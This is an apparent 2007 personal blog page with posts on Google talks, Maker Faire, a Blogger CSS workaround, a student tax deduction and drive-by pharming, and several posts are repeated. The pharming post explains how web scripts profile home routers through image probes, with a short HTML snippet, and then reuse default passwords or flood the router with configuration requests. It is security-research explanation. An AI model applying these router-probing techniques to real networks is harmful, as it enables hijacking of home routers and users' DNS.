One of the great benefits of working at Google is the flock of people who come to speak. Yesterday I listened to Michael Griffin, Administrator of NASA, talk about the future of the country's space program. He even showed us pretty pictures of their new plans for a moon rocket.
Later in the day, John Edwards popped in for a "fireside chat," and let us ask him questions. By far, the most interesting part was when he was answering our questions. It was unusual for a politician, but he was more likable when answering off-the-cuff than when he was participating in somewhat scripted discussion with the host. Things I remember: (1) he is going to do fifty billion things in his first six months if he is elected, (2) $3bln for running water, sewer, in other countries, (3) "nice haircut", and (4) "I was a dumbass when I voted for the war in Iraq" [[not a direct quote]].
Thursday, May 31, 2007
Friday, May 25, 2007
gsa?
Deep Thought: I wonder if TSA checkpoint guards could use a Google Search Appliance to speed up their bag and pat-down searches. Surely since the GSA allows looking into files' contents, one could see which liquids are dangerous without requiring them to be in a 1-qt see-thru bag...
Monday, May 21, 2007
Maker Faire
Since I'm out in the bay area for the summer (yay!), I'm taking advantage of the events like Maker Faire that are going on. A friend and I popped in on Saturday and had a look around at the cool gadgety-geek things. See my Flickr photo set for more photos...
Anyhow, while there, I ran into Mark Frauenfelder, which was cool, and chatted at him for a little while about this party that he inspired.
Earlier today I was making some coffee in a common area and Cory Doctorow just happened into the same kitchen, sparking a bit of quick conversation before he was whisked away to a meeting.
It's kind of fun being in a place where you can randomly run into all these cool people...
Anyhow, while there, I ran into Mark Frauenfelder, which was cool, and chatted at him for a little while about this party that he inspired.
Earlier today I was making some coffee in a common area and Cory Doctorow just happened into the same kitchen, sparking a bit of quick conversation before he was whisked away to a meeting.
It's kind of fun being in a place where you can randomly run into all these cool people...
Wednesday, May 02, 2007
09 f9
Two lessons of the day: (1) security by obscurity does not work for simple yet widely popular technologies and (2) if you create the encryption scheme and expect people to keep the key secret, make all the hardware that uses it too (a la Apple's FairPlay).
Thursday, April 12, 2007
fighting the blogger navigation bar
When you host a blog on blogspot or use pretty much any template provided by blogger, an intrusive navigation bar appears at the top of the blog (login button, search box, blog this button, etc). While it's nice, it really prohibits integration with non-blog sites. For example, the blog at Stop-Phishing is hosted on blogspot, but we wanted to integrate it into the main Stop-Phishing webpage to provide a nice seamless design.
Anyhow, this was done with a positioning trick, basically drawing the template and the rest of the blog on top of the navigation bar by setting the z-layer higher than default. Recently, the blogger navbar CSS data changed to put the navigation bar at z-layer 500, drawing it above the template. Of course, we could begin fighting with them and put our template at z-layer 501, but this is a never-ending cycle.
I decided to place our template at z-layer 2147483647 (maximum integer in defined in Mozilla). Now the template is back on top. Lets see what happens next...
Anyhow, this was done with a positioning trick, basically drawing the template and the rest of the blog on top of the navigation bar by setting the z-layer higher than default. Recently, the blogger navbar CSS data changed to put the navigation bar at z-layer 500, drawing it above the template. Of course, we could begin fighting with them and put our template at z-layer 501, but this is a never-ending cycle.
I decided to place our template at z-layer 2147483647 (maximum integer in defined in Mozilla). Now the template is back on top. Lets see what happens next...
Tuesday, February 27, 2007
tax deduction
I started my long journey through this year's very confusing tax situation today. I've got small amounts of income from a decent number of sources, most of which are as an independent contractor, so my work for this year's tax returns jumped threefold. I'm tempted to go to a tax place, but I think I would do just as well on my own (though it would take longer), and I'm too cheap and poor to pay for a CPA.
Anyhow, as I was crunching the numbers, I came across the realization that the 2006 1040 form does not have a line for Tuition and Fees, like the 2005 form did! As a student who makes very little money and has to pay a good chunk of it back into the university for non-remittable fees (roughly 8% of my stipend), I was a bit put out. This was great in the last many years, because I didn't have to itemize my deductions to get the break.
After some digging, I came across IRS publication 970 that describes this deduction MANY times before finally explaining how to take the deduction. For all the other U.S. grad students out there, here's how you do it:
This is pretty janky. Is it just me, or does this seem like kind of a last-minute "oh crap, we shafted the students, better do something" situation? This thought is further backed up by this tax law change brief that I later found. It mentions how the Tuition and Fees deduction expired, but has been "extended" until 2007.
It's also important to note that there's a cap on how much you can deduct of up to $4000 depending on your gross income. This may or may not be new this year (I don't know).
Anyhow, as I was crunching the numbers, I came across the realization that the 2006 1040 form does not have a line for Tuition and Fees, like the 2005 form did! As a student who makes very little money and has to pay a good chunk of it back into the university for non-remittable fees (roughly 8% of my stipend), I was a bit put out. This was great in the last many years, because I didn't have to itemize my deductions to get the break.
After some digging, I came across IRS publication 970 that describes this deduction MANY times before finally explaining how to take the deduction. For all the other U.S. grad students out there, here's how you do it:
- Put a T next to the box for line 35. The instructions say to put it on the dotted line, but my copy of form 1040 doesn't have said line.
- Enter the deduction in the box for line 35.
This is pretty janky. Is it just me, or does this seem like kind of a last-minute "oh crap, we shafted the students, better do something" situation? This thought is further backed up by this tax law change brief that I later found. It mentions how the Tuition and Fees deduction expired, but has been "extended" until 2007.
It's also important to note that there's a cap on how much you can deduct of up to $4000 depending on your gross income. This may or may not be new this year (I don't know).
Monday, February 26, 2007
router attack by analogy
One of the elements of drive-by pharming attacks (or really any attack that attempts to break into your home's router) is router profiling. Basically, once the IP of your router is discovered (say 192.168.0.1), the malicious script attempts to identify what type of router it may be. This can be done in many ways, including image profiling. In essence, some routers will serve images without requiring an administrator to be authenticated, which is really bad. Additionally, http-auth credentials usually remain until a browser window is closed (if you don't often close your browser, you might want to do that now) and will be used by default when accessing pages from a protected resource. This way, even if a password is required, it has previously been entered by the user and can now be used to get into the router.
Anyhow, using this lack of need for password, a script can attempt to load a few images known to be served by different routers, one at a time. If the loads fail, it tries another one. Here's some code that does this:
This image tag would be generated and appended to a document by JavaScript, and then when it fails, a new one is plopped in. When one succeeds (you can set an onload event for the image), the router has been profiled, and the default username/password for it can be pulled from a list.
It can sometimes be difficult to access these images on the routers without a password (not all will provide a logo without the user first logging in). It is surely possible to do that on some routers, but not all. So instead of a linear discovery approach (one step at a time), like what an investigating scientist usually does, an attacker can take another approach too: flood the router with configuration change attempts, hoping one works.
Analogy:
The two methods can be considered in this analogy: Say you are flying somewhere with five of your friends who each speak a different foreign language. When you get there, you need to tell the taxi driver who meets you where to take you. You don't know what country you're in, so you don't know which language/friend to use.
A first method is careful: you look at what he's wearing, the car he's driving, and maybe look inside his pockets for an ID or money. Once you've deduced based on this evidence where you are, you can try giving the driver directions in the language that is your best guess. If that doesn't work you can, one at a time, try speaking to the driver in a different language, but if you've done your research you will be right the first time. This is like the one-step-at-a-time approach that you mention. The problem with this is that the driver may not let you see his pockets' contents, so you might need to resort to guessing.
Alternatively, the six of you can all just walk up and start telling him where to go in different languages all at once. He will be a little confused at first, but will respond to one of you, the one speaking the language he recognizes, and that person can tell him where to go. This is the flood approach. It's messy, but you don't have to coordinate your friends and poke around in his car (where he may not let you go).
To take this back to the technology, lets say for example that ten router models make up a good portion of the market. An attacker can take advantage of this. Instead of "profiling" the router (as discussed in the tech report) he can simply try sending the configuration request for one of the ten most popular. If it fails, the code tries again with another request. This keeps going until it works or all requests have been tried. Additionally, all ten might be attempted at once.
Both methods (linear discovery and multiple requests in parallel) are possible, yet the parallel-flooding attempt seems scarier since it requires less investigative work (and much simpler programming) to work.
To boil this down, the drive-by pharming attack is not a completely specified problem. There are many ways to attack home routers from the inside, and many techniques can be used based on the types of targets an attacker may be interested in.
On a lighter note, here are some fun blog comments from Slashdot regarding drive-by pharming:
1) Drive by pharm,
2) Stop. Park.
3) Milk cows.
4) Feed chickens.
5) Slop pigs.
6) Stack hay.
7) Profit.
(Link)
We'll chase off the Pharmers with our phlaming torches and pitchphorks!
(Link)
(Previously: drive-by pharming)
Anyhow, using this lack of need for password, a script can attempt to load a few images known to be served by different routers, one at a time. If the loads fail, it tries another one. Here's some code that does this:
<img src="http://192.168.0.1/logo.gif"
onerror="tryNextImage();">
This image tag would be generated and appended to a document by JavaScript, and then when it fails, a new one is plopped in. When one succeeds (you can set an onload event for the image), the router has been profiled, and the default username/password for it can be pulled from a list.
It can sometimes be difficult to access these images on the routers without a password (not all will provide a logo without the user first logging in). It is surely possible to do that on some routers, but not all. So instead of a linear discovery approach (one step at a time), like what an investigating scientist usually does, an attacker can take another approach too: flood the router with configuration change attempts, hoping one works.
Analogy:
The two methods can be considered in this analogy: Say you are flying somewhere with five of your friends who each speak a different foreign language. When you get there, you need to tell the taxi driver who meets you where to take you. You don't know what country you're in, so you don't know which language/friend to use.
A first method is careful: you look at what he's wearing, the car he's driving, and maybe look inside his pockets for an ID or money. Once you've deduced based on this evidence where you are, you can try giving the driver directions in the language that is your best guess. If that doesn't work you can, one at a time, try speaking to the driver in a different language, but if you've done your research you will be right the first time. This is like the one-step-at-a-time approach that you mention. The problem with this is that the driver may not let you see his pockets' contents, so you might need to resort to guessing.
Alternatively, the six of you can all just walk up and start telling him where to go in different languages all at once. He will be a little confused at first, but will respond to one of you, the one speaking the language he recognizes, and that person can tell him where to go. This is the flood approach. It's messy, but you don't have to coordinate your friends and poke around in his car (where he may not let you go).
To take this back to the technology, lets say for example that ten router models make up a good portion of the market. An attacker can take advantage of this. Instead of "profiling" the router (as discussed in the tech report) he can simply try sending the configuration request for one of the ten most popular. If it fails, the code tries again with another request. This keeps going until it works or all requests have been tried. Additionally, all ten might be attempted at once.
Both methods (linear discovery and multiple requests in parallel) are possible, yet the parallel-flooding attempt seems scarier since it requires less investigative work (and much simpler programming) to work.
To boil this down, the drive-by pharming attack is not a completely specified problem. There are many ways to attack home routers from the inside, and many techniques can be used based on the types of targets an attacker may be interested in.
On a lighter note, here are some fun blog comments from Slashdot regarding drive-by pharming:
1) Drive by pharm,
2) Stop. Park.
3) Milk cows.
4) Feed chickens.
5) Slop pigs.
6) Stack hay.
7) Profit.
(Link)
We'll chase off the Pharmers with our phlaming torches and pitchphorks!
(Link)
(Previously: drive-by pharming)
Subscribe to:
Posts (Atom)